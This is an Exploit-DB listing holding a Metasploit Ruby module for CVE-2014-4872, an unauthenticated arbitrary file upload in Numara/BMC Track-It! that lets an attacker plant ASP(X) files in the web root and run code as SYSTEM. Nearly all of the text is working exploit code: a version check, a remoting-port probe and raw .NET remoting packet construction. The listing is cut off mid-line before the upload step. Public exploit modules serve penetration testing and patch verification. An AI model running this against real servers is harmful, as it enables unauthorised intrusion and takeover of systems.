Exploit-DB #35032
Description: Numara / BMC Track-It! FileStorageService - Arbitrary File Upload (Metasploit)
Type: remote
Platform: windows
Date: 2014-10-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload',
      'Description'    => %q{
        This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It!
        v8 to v11.X.
        The application exposes the FileStorageService .NET remoting service on port 9010
        (9004 for version 8) which accepts unauthenticated uploads. This can be abused by
        a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary
        code execution as NETWORK SERVICE or SYSTEM.
        This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
        10.0.0.143, 9.0.30.248 and 8.0.2.51.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'    # vulnerability discovery and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-4872' ],
          [ 'OSVDB', '112741' ],
          [ 'US-CERT-VU', '121036' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ]
        ],
      'DefaultOptions' => { 'WfsDelay' => 30 },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'Numara / BMC Track-It! v9 to v11.X - Windows', {} ],
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 7 2014'
    ))

    register_options(
      [
        OptPort.new('RPORT',
          [true, 'TrackItWeb application port', 80]),
        OptPort.new('RPORT_REMOTING',
          [true, '.NET remoting service port', 9010]),
        OptInt.new('SLEEP',
          [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]),
        OptString.new('TARGETURI',
          [true, 'Base path to the TrackItWeb application', '/TrackItWeb/'])
      ], self.class)
  end


  def get_version
    res = send_request_cgi!({
      'uri'    => normalize_uri(datastore['TARGETURI']),
      'method' => 'GET'
    })
    if res and res.code == 200 and res.body.to_s =~ /\/TrackItWeb\/Content\.([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,4})\//
      version = $1.split(".")
      return version
    end
  end


  def check
    version = get_version
    if version != nil
      if (version[0].to_i < 11) or
      (version[0].to_i == 11 and version[1].to_i <= 3) or
      (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999)
        ctx = { 'Msf' => framework, 'MsfExploit' => self }
        sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
        if not sock.nil?
          sock.write(rand_text_alpha(rand(200) + 100))
          res = sock.recv(1024)
          if res =~ /Tcp channel protocol violation: expecting preamble/
            return Exploit::CheckCode::Appears
          end
          sock.close
        end
      else
        return Exploit::CheckCode::Safe
      end
    end
    return Exploit::CheckCode::Unknown
  end


  def longest_common_substr(strings)
    shortest = strings.min_by &:length
    maxlen = shortest.length
    maxlen.downto(0) do |len|
      0.upto(maxlen - len) do |start|
        substr = shortest[start,len]
        return substr if strings.all?{|str| str.include? substr }
      end
    end
  end


  def get_traversal_path
    #
    # ConfigurationService packet structure:
    #
    # @packet_header_pre_packet_size
    # packet_size (4 bytes)
    # @packet_header_pre_uri_size
    # uri_size (2 bytes)
    # @packet_header_pre_uri
    # uri
    # @packet_header_post_uri
    # packet_body_start_pre_method_size
    # method_size (1 byte)
    # method
    # @packet_body_pre_type_size
    # type_size (1 byte)
    # @packet_body_pre_type
    # type
    # @packet_terminator
    #
    # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
    #
    packet_body_start_pre_method_size = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
    ]

    service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt"))
    method = "GetProductDeploymentValues".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt"))
    type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt"))

    uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service

    file_storage_dir_str = "FileStorageDataDirectory"
    web_data_dir_str = "WebDataCacheDirectory"

    packet_size =
      @packet_header_pre_uri_size.length +
      2 + # uri_size
      @packet_header_pre_uri.length +
      uri.length +
      @packet_header_post_uri.length +
      packet_body_start_pre_method_size.length +
      1 + # method_size
      method.length +
      @packet_body_pre_type_size.length +
      1 + # type_size
      @packet_body_pre_type.length +
      type.length

    # start of packet and packet size (4 bytes)
    buf = @packet_header_pre_packet_size.pack('C*')
    buf << Array(packet_size).pack('L*')

    # uri size (2 bytes)
    buf << @pack